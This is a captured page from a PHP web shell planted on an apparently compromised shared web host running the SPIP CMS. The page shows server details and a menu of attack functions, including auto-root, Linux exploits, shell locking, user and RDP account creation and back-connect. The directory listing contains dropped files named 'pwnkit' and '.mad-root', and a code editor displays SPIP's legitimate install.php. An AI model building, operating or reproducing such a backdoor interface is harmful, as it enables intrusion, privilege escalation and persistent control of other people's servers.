Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : install.php
<?php /***************************************************************************\ * SPIP, Système de publication pour l'internet * * * * Copyright © avec tendresse depuis 2001 * * Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribué sous licence GNU/GPL. * \***************************************************************************/ /** * Gestion de l'installation de SPIP * * @package SPIP\Core\Installation **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Écrit un fichier PHP nécessitant SPIP * * Écrit le texte transmis dans un fichier PHP. Cette fonction * ajoute les entêtes PHP et le test de sécurité vérifiant que SPIP * est chargé. * * @example * ``` * install_fichier_connexion(_FILE_CONNECT_TMP, $contenu); * ``` * * @todo * Renommer cette fonction qui peut servir à d'autres utilisations ? * * @param string $nom * Chemin du fichier à créer * @param string $texte * Code source du fichier (sans l'ouverture/fermeture PHP) * @return void **/ function install_fichier_connexion($nom, $texte) { $texte = '<' . "?php\n" . "if (!defined(\"_ECRIRE_INC_VERSION\")) return;\n" . $texte; ecrire_fichier($nom, $texte); } /** * Retourne le code source d'un fichier de connexion à une base de données * * Le code est un appel à la fonction spip_connect_db() * * @see spip_connect_db() * * @internal * Attention etape_ldap4 suppose qu'il n'y aura qu'un seul appel de fonction * dans le fichier produit. * * @param string $adr Adresse de la base de données {@example 'localhost'} * @param string $port Numéro de port * @param string $login Login de connexion * @param string $pass Mot de passe de connexion * @param string $base Nom de la base de données * @param string $type Moteur SQL {@example 'sqlite3', 'mysql'} * @param string $pref Préfixe des tables {@example 'spip'} * @param string $ldap Type d'authentification (cas si 'ldap') * @param string $charset Charset de la connexion SQL * @return string * texte du fichier de connexion * **/ function install_connexion( $adr, $port, $login, #[\SensitiveParameter] $pass, $base, $type, $pref, $ldap = '', $charset = '' ) { $adr = addcslashes($adr, "'\\"); $port = addcslashes($port, "'\\"); $login = addcslashes($login, "'\\"); $pass = addcslashes($pass, "'\\"); $base = addcslashes($base, "'\\"); $type = addcslashes($type, "'\\"); $pref = addcslashes($pref, "'\\"); $ldap = addcslashes($ldap, "'\\"); $charset = addcslashes($charset, "'\\"); return "\$GLOBALS['spip_connect_version'] = 0.8;\n" . 'spip_connect_db(' . "'$adr','$port','$login','$pass','$base'" . ",'$type', '$pref','$ldap','$charset');\n"; } /** * Analyse un fichier de connexion à une base de données * * Le fichier contient normalement le résultat de la fonction install_connexion(). * L'analyse tient également compte des syntaxes des versions précédentes. * * @param string $file * Chemin du fichier de connexion à analyser * @return array * Tableau des informations sur la connexion **/ function analyse_fichier_connection(string $file): array { if (!file_exists($file)) { return []; } $s = file_get_contents($file); if (preg_match("#mysql_connect\([\"'](.*)[\"'],[\"'](.*)[\"'],[\"'](.*)[\"']\)#", $s, $regs)) { array_shift($regs); return $regs; } else { $ar = '\s*\'([^\']*)\''; $r = '\s*,' . $ar; $r = "#spip_connect_db[(]$ar$r$r$r$r(?:$r(?:$r(?:$r(?:$r)?)?)?)?#"; if (preg_match($r, $s, $regs)) { $regs[2] = $regs[1] . (!$regs[2] ? '' : ':' . $regs[2] . ';'); array_shift($regs); array_shift($regs); return $regs; } } spip_log("$file n'est pas un fichier de connexion"); return []; } /** * Liste les connecteurs aux bases SQL disponibles * * Dans le code SPIP ces connecteurs sont souvent appelés $connect ou $serveur * * @example * $bases = bases_referencees(_FILE_CONNECT_TMP); * * @param string $exclu * Exclure un connecteur particulier (nom du fichier) * @return array * Liste des noms de connecteurs **/ function bases_referencees($exclu = '') { $tables = []; foreach (preg_files(_DIR_CONNECT, '.php$') as $f) { if ($f != $exclu and analyse_fichier_connection($f)) { $tables[] = basename($f, '.php'); } } return $tables; } function install_mode_appel($server_db, $tout = true) { return ($server_db != 'mysql') ? '' : (($tout ? test_rappel_nom_base_mysql($server_db) : '') . test_sql_mode_mysql($server_db)); } // // Verifier que l'hebergement est compatible SPIP ... ou l'inverse :-) // (sert a l'etape 1 de l'installation) function tester_compatibilite_hebergement() { $err = []; $p = phpversion(); if (version_compare($p, _PHP_MIN, '<')) { $err[] = _T('install_php_version', ['version' => $p, 'minimum' => _PHP_MIN]); } if (version_compare($p, _PHP_MAX, '>')) { $err[] = _T('install_php_version_max', ['version' => $p, 'maximum' => _PHP_MAX]); } $diff = array_diff(['sodium', 'xml', 'zip'], get_loaded_extensions()); if (!empty($diff)) { $err[] = _T('install_php_extension', ['extensions' => implode(',', $diff)]); } // Si on n'a pas la bonne version de PHP, c'est la fin if ($err) { die("<div class='error'>" . '<h3>' . _T('avis_attention') . '</h3><p>' . _T('install_echec_annonce') . "</p><ul class='spip'>" . "<li><strong>{$err[0]}</strong></li>\n</ul></div>"); } // Il faut une base de donnees tout de meme ... $serveurs = install_select_serveur(); if (!$serveurs) { $err[] = _T('install_extension_php_obligatoire') . " <a href='http://www.php.net/mysql'>MYSQL</a>" . "| <a href='http://www.php.net/sqlite'>SQLite</a>"; } // et surtout pas ce mbstring.overload (has been DEPRECATED as of PHP 7.2.0, and REMOVED as of PHP 8.0.0) if ($a = @ini_get('mbstring.func_overload')) { $err[] = _T('install_extension_mbstring') . "mbstring.func_overload=$a - <a href='http://www.php.net/mb_string'>mb_string</a>.<br><small>"; } if ($err) { echo "<div class='error'>" . '<h3>' . _T('avis_attention') . '</h3><p>' . _T('install_echec_annonce') . "</p><ul class='spip'>"; foreach ($err as $e) { echo "<li><strong>$e</strong></li>\n"; } # a priori ici on pourrait die(), mais il faut laisser la possibilite # de forcer malgre tout (pour tester, ou si bug de detection) echo "</ul></div>\n"; } } function info_etape($titre, $complement = '') { return '<h2>' . $titre . "</h2>\n" . ($complement ? '' . $complement . "\n" : ''); } /** * Retourne le code HTML d'un bouton `suivant>>` pour les phases d'installation * * @param string $code texte du bouton * @return string Code HTML du bouton **/ function bouton_suivant($code = '') { if ($code == '') { $code = _T('bouton_suivant'); } static $suivant = 0; $id = 'suivant' . (($suivant > 0) ? strval($suivant) : ''); $suivant += 1; return "\n<p class='boutons suivant'><input id='" . $id . "' type='submit'\nvalue=\"" . $code . " >>\"></p>\n"; } function info_progression_etape($en_cours, $phase, $dir, $erreur = false) { $intitule_etat = []; $liste = find_all_in_path($dir, $phase . '(([0-9])+|fin)[.]php$'); $debut = 1; $last = count($liste); include_spip('inc/texte'); $intitule_etat['etape_'][1] = typo(_T('info_connexion_base_donnee')); $intitule_etat['etape_'][2] = typo(_T('menu_aide_installation_choix_base')); $intitule_etat['etape_'][3] = typo(_T('info_informations_personnelles')); $intitule_etat['etape_'][4] = typo(_T('info_derniere_etape')); $intitule_etat['etape_ldap'][1] = typo(_T('titre_connexion_ldap')); $intitule_etat['etape_ldap'][2] = typo(_T('titre_connexion_ldap')); $intitule_etat['etape_ldap'][3] = typo(_T('info_chemin_acces_1')); $intitule_etat['etape_ldap'][4] = typo(_T('info_reglage_ldap')); $intitule_etat['etape_ldap'][5] = typo(_T('info_ldap_ok')); $aff_etapes = "<ul id='infos_etapes' class='infos_$phase$en_cours'>"; foreach ($liste as $etape => $fichier) { if ($debut < $last) { if ($debut == $en_cours && $erreur) { $class = 'on erreur'; } else { if ($debut == $en_cours) { $class = 'on'; } else { if ($debut > $en_cours) { $class = 'prochains'; } else { $class = 'valides'; } } } $aff_etapes .= "<li class='$class'><div class='fond'>"; $aff_etapes .= '<em>' . _T('etape') . " </em><span class='numero_etape'>$debut</span><em> : </em>"; $aff_etapes .= '<'.(($debut == $en_cours) ? 'strong' : 'span').' class="label_etape">' . $intitule_etat["$phase"][$debut] . '</'.(($debut == $en_cours) ? 'strong' : 'span').'>'; $aff_etapes .= '</div></li>'; } $debut++; } $aff_etapes .= '</ul>'; return $aff_etapes; } function fieldset($legend, $champs = [], $apres = '', $avant = '') { return "<fieldset>\n" . $avant . ($legend ? '<legend>' . $legend . "</legend>\n" : '') . fieldset_champs($champs) . $apres . "</fieldset>\n"; } function fieldset_champs($champs = []) { $fieldset = ''; foreach ($champs as $nom => $contenu) { $type = isset($contenu['hidden']) ? 'hidden' : (preg_match(',^pass,', $nom) ? 'password' : 'text'); $class = isset($contenu['hidden']) ? '' : "class='formo' size='40' "; if (isset($contenu['alternatives'])) { $fieldset .= $contenu['label'] . "\n"; foreach ($contenu['alternatives'] as $valeur => $label) { $fieldset .= "<input type='radio' name='" . $nom . "' id='$nom-$valeur' value='$valeur'" . (($valeur == $contenu['valeur']) ? "\nchecked='checked'" : '') . ">\n"; $fieldset .= "<label for='$nom-$valeur'>" . $label . "</label>\n"; } $fieldset .= "<br>\n"; } else { $fieldset .= "<label for='" . $nom . "'>" . $contenu['label'] . "</label>\n"; $fieldset .= '<input ' . $class . "type='" . $type . "' id='" . $nom . "' name='" . $nom . "'\nvalue='" . $contenu['valeur'] . "'" . (preg_match(',^(pass|login),', $nom) ? " autocomplete='off'" : '') . ((isset($contenu['required']) and $contenu['required']) ? " required='required'" : '') . ">\n"; } } return $fieldset; } function install_select_serveur() { $options = []; $dir = _DIR_RESTREINT . 'req/'; $d = opendir($dir); if (!$d) { return []; } while (($f = readdir($d)) !== false) { if ( (preg_match('/^(.*)[.]php$/', $f, $s)) and is_readable($f = $dir . $f) ) { require_once($f); $s = $s[1]; $v = 'spip_versions_' . $s; if (function_exists($v) and $v()) { $titre = _T("install_select_type_$s"); // proposer mysql par defaut si dispo $checked = ($s == 'mysql' ? " checked='checked'" : ''); $options[$s] = "<li><input type='radio' id='$s' value='$s' name='server_db'$checked>" . "<label for='$s'>" . ($titre ?: $s) . '</label></li>'; } else { spip_log("$s: portage indisponible"); } } } sort($options); return $options; } function install_connexion_form( $db, $login, #[\SensitiveParameter] $pass, $predef, $hidden, $etape, $jquery = true ) { $server_db = (is_string($predef[0])) ? $predef[0] : ''; return generer_form_ecrire('install', ( "\n<input type='hidden' name='etape' value='$etape'>" . $hidden . (_request('echec') ? ('<p><b>' . _T('avis_connexion_echec_1') . '</b></p><p>' . _T('avis_connexion_echec_2') . "</p><p style='font-size: small;'>" . _T('avis_connexion_echec_3') . '</p>') : '') . ($jquery ? http_script('', 'jquery.js') : '') . http_script(' jQuery(function($) { $details_db = $("#install_adresse_base_hebergeur,#install_login_base_hebergeur,#install_pass_base_hebergeur"); $("input[type=hidden][name=server_db]").each(function(){ if ($(this).attr("value").match("sqlite*")){ $details_db.hide(); } }); $choix = $("input[type=radio][name=server_db]"); if ($choix.length == 1) { $choix.eq(0).prop("checked", true); } $checked = $("input[name=server_db][checked]"); if (!$checked.length) { $details_db.hide(); } else if ($checked.attr("value").match("sqlite*")) { $details_db.hide(); } else { $details_db.show(); } $("input[name=server_db]").each(function(){ $(this).on("change",function(){ if ($(this).prop("checked") && $(this).attr("value").match("sqlite*")) { $details_db.hide(); } if ($(this).prop("checked") && !$(this).attr("value").match("sqlite*")) { $details_db.show(); } }); }); });') . ($server_db ? '<input type="hidden" name="server_db" value="' . $server_db . '">' . (($predef[0]) ? ('<h3>' . _T('install_serveur_hebergeur') . '</h3>') : '') : ('<fieldset><legend>' . _T('install_select_type_db') . '</legend>' . '<p class="explication">' . _T('install_types_db_connus') // Passer l'avertissement SQLIte en commentaire, on pourra facilement le supprimer par la suite sans changer les traductions. // . "<br><small>(". _T('install_types_db_connus_avertissement') .')</small>' . '</p>' . "\n<div class='p'>\n<ul>\n" . join("\n", install_select_serveur()) . "\n</ul>\n</div></fieldset>") ) . '<div id="install_adresse_base_hebergeur">' . '<p>' . _T('texte_connexion_mysql') . '</p>' . ($predef[1] ? '<h3>' . _T('install_adresse_base_hebergeur') . '</h3>' : fieldset( _T('entree_base_donnee_1'), [ 'adresse_db' => [ 'label' => $db[1], 'valeur' => $db[0] ], ] ) ) . '</div>' . '<div id="install_login_base_hebergeur">' . ($predef[2] ? '<h3>' . _T('install_login_base_hebergeur') . '</h3>' : fieldset( _T('entree_login_connexion_1'), [ 'login_db' => [ 'label' => $login[1], 'valeur' => $login[0] ], ] ) ) . '</div>' . '<div id="install_pass_base_hebergeur">' . ($predef[3] ? '<h3>' . _T('install_pass_base_hebergeur') . '</h3>' : fieldset( _T('entree_mot_passe_1'), [ 'pass_db' => [ 'label' => $pass[1], 'valeur' => $pass[0] ], ] ) ) . '</div>' . bouton_suivant())); } // 4 valeurs qu'on reconduit d'un script a l'autre // sauf s'ils sont predefinis. function predef_ou_cache($adresse_db, $login_db, $pass_db, $server_db) { return ((defined('_INSTALL_HOST_DB')) ? '' : "\n<input type='hidden' name='adresse_db' value=\"" . spip_htmlspecialchars($adresse_db) . '">' ) . ((defined('_INSTALL_USER_DB')) ? '' : "\n<input type='hidden' name='login_db' value=\"" . spip_htmlspecialchars($login_db) . '">' ) . ((defined('_INSTALL_PASS_DB')) ? '' : "\n<input type='hidden' name='pass_db' value=\"" . spip_htmlspecialchars($pass_db) . '">' ) . ((defined('_INSTALL_SERVER_DB')) ? '' : "\n<input type='hidden' name='server_db' value=\"" . spip_htmlspecialchars($server_db) . '">' ); } // presentation des bases existantes function install_etape_liste_bases($server_db, $login_db, $disabled = []) { $bases = $checked = []; $noms = sql_listdbs($server_db); if (!$noms) { return ''; } foreach ($noms as $nom) { $id = spip_htmlspecialchars($nom); $dis = in_array($nom, $disabled) ? " disabled='disabled'" : ''; $base = ' name="choix_db" value="' . $nom . '"' . $dis . " type='radio' id='$id'"; $label = "<label for='$id'>" . ($dis ? "<i>$nom</i>" : $nom) . '</label>'; if ( !$checked and !$dis and (($nom == $login_db) or ($GLOBALS['table_prefix'] == $nom)) ) { $checked = "<input$base checked='checked'>\n$label"; } else { $bases[] = "<input$base>\n$label"; } } if (!$bases && !$checked) { return false; } if ($checked) { array_unshift($bases, $checked); $checked = true; } return [$checked, $bases]; } function install_propager($hidden) { $res = ''; foreach ($hidden as $k) { $v = spip_htmlentities(_request($k)); $res .= "<input type='hidden' name='$k' value='$v'>"; } return $res; }
Close